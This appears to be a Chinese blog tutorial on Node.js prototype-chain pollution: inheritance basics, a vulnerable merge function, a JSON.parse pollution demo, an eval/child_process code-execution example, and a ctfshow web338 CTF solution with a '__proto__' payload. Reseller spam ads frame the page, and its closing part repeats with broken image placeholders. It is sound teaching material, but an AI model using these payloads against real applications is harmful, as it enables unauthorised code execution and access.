nodejs原型链污染基础

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6

前言

什么是原型链污染

原型链污染是一种针对JavaScript运行时的注入攻击。通过原型链污染攻击者可能控制对象属性的默认值。这允许攻击者篡改应用程序的逻辑还可能导致拒绝服务或者在极端情况下远程执行代码。

比较出名的一个原型链污染漏洞是在2019年初在
Snyk的安全研究人员透露出流行的JavaScript库—Lodash的严重的漏洞这允许黑客攻击多个web应用程序。

漏洞细节https://security.snyk.io/vuln/SNYK-JS-LODASH-450202

prototpye原型

对于使用过基于类的语言(如Java或C++)的开发者们来说JavaScript实在是有些令人困惑——JavaScript是动态的本身不提供一个class的实现。即便是在ES2015/ES6中引入了class关键字但那也只是语法糖JavaScript仍然是基于原型的。
当谈到继承时JavaScript只有一种结构∶对象。每个实例对象(object)都有一个私有属性(称之为_proto_ )指向它的构造函数的原型对象prototype)。该原型对象也有一个自己的原型对象(_proto)层层向上直到一个对象的原型对象为null。根据定义null没有原型并作为这个原型链中的最后一个环节。
几乎所有JavaScript中的对象都是位于原型链顶端的object的实例。尽管这种原型继承通常被认为是 JavaScript的弱点之但是原型继承模型本身实际上比经典模型更强大。例如在原型模型的基础上构建经典模型相当简单。

function Son(){}
var son = new Son();
console.log(Son.prototype)
console.log(son.__proto__)
console.log(Son.prototype == son.__proto__)
debugger;

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CkJ53NCC-1675675743505)(nodejs原型链污染.assets/image-20230206144745642.png)]

继承

原型是继承的基础JavaScript中原型链可以通过prototype这个属性来实现继承机制

function Father(){
    this.first_name='Donald'
    this.last_name='Trump'
}
function Son(){
    this.first_name='Melania'
}

// console.log(Son.prototype)
Son.prototype = new Father()
let son = new Son
console.log(`Name:${son.first_name} ${son.last_name}`)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0bSfho7C-1675675743506)(nodejs原型链污染.assets/image-20230206150051161.png)]

child_process模块

child_process提供了几种创建子进程的方式

  • 异步方式spawn、exec、execFile、fork
  • 同步方式spawnSync、execSync、execFileSync
    • 经过上面的同步和异步思想的理解创建子进程的同步异步方式应该不难理解。
      在异步创建进程时spawn是基础其他的fork、exec、execFile都是基于spawn来生成的。
      同步创建进程可以使用child_process.spawnSync()、child_process.execSync() 和 child_process.execFileSync() 同步的方法会阻塞 Node.js 事件循环、暂停任何其他代码的执行直到子进程退出。

有时会利用到child_process模块中的exec进行命令执行

?eval=require('child_process').exec('ls');

原型类污染

原理

function Father(){
    this.first_name='Donald'
    this.last_name='Trump'
}
function Son(){
    this.first_name='Melania'
}

// console.log(Son.prototype)
Son.prototype = new Father()
let son = new Son
son.__proto__['last_name']='xxh'
let newson = new Son
console.log(`Name:${newson.first_name} ${newson.last_name}`)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XnWELmjM-1675675743507)(nodejs原型链污染.assets/image-20230206150558765.png)]

相对比上一个代码发现可以发现修改了son的原型属性之后会影响到另外一个具有相同原型的对象不难看出我们是通过设置了__proto__的值来影响原型的属性。

那些情况下原型链会被污染

在实际应用中哪些情况下可能存在原型链能被攻击者修改的情况呢?
思考一下哪些情况下我们可以设置_proto_的值呢﹖其实找找能够控制数组对象的"键名”的操作即可:

  • 对象merge
  • ·对象clone其实内核就是将待操作的对象merge到一个空对象中)以对象merge为例一个简单的merge函数:
function merge(target,source) {
    for(let key in source) {
        if(key in source && key in target) {
            merge(target[key],source[key])
        }else{
            target[key]=source[key]
        }
    }
}

用代码试验一下

function merge(target,source) {
    for(let key in source) {
        if(key in source && key in target) {
            merge(target[key],source[key])
        }else{
            target[key]=source[key]
        }
    }
}
let o1 = {}
let o2 = {a:1,"__proto__":{b:2}}
merge(o1,o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zz6eMbEm-1675675743508)(nodejs原型链污染.assets/image-20230206160938311.png)]

这是因为我们用JavaScript创建o2的过程let o2 = fa: 1,“proto”:(b:2l}中_proto_已经代表o2的原型了此时遍历o2的所有键名你拿到的是[a,b]_proto_并不是一个key自然也不会修改Object的原型。

可以改为

function merge(target,source) {
    for(let key in source) {
        if(key in source && key in target) {
            merge(target[key],source[key])
        }else{
            target[key]=source[key]
        }
    }
}
let o1 = {}
let o2 = JSON.parse('{"a":1,"__proto__":{"b":2}}')
merge(o1,o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sdGKwaMn-1675675743508)(nodejs原型链污染.assets/image-20230206161246015.png)]

可见新建的o3对象,也存在b属性,说明Object已经被污染:这是因为,JSON解析的情况下,-_proto__会被认为是一个真正的“键名”而不代表“原型”所以在遍历o2的时候会存在这个键。

原型链污染导致的rce

原理和前面一样就是有原型链污染的前提之下我们可以控制基类的成员赋值为一串恶意代码从而造成代码注入。

let foo = {bar: 1}
foo._proto__.bar = 'require(\'child_process\').execSync(\'calc\');'

let zoo = {}

eval(zoo.bar)

实战

ctfshowweb338

直接给了源码找到login路由

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
  
  
});

module.exports = router;

我们要把secert中设一个ctfhsow属性让它等于36dboy看一下copy函数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dtBPF7wx-1675675743509)(nodejs原型链污染.assets/image-20230206172515547.png)]

和我们上面说的merge函数非常相似利用原型链污染给object添加ctfshow属性

payload{"__proto__":{"ctfshow":"36dboy"}}

exports = router;


我们要把secert中设一个ctfhsow属性让它等于36dboy看一下copy函数

[外链图片转存中...(img-dtBPF7wx-1675675743509)]

和我们上面说的merge函数非常相似利用原型链污染给object添加ctfshow属性

payload`{"__proto__":{"ctfshow":"36dboy"}}`

![\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zqzt3wSP-1675675743509)(nodejs原型链污染.assets/image-20230206172728848.png)\]](https://img-blog.csdnimg.cn/bbd97194d0504594a2f6a15c4235c624.png)

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6
标签: NodeJS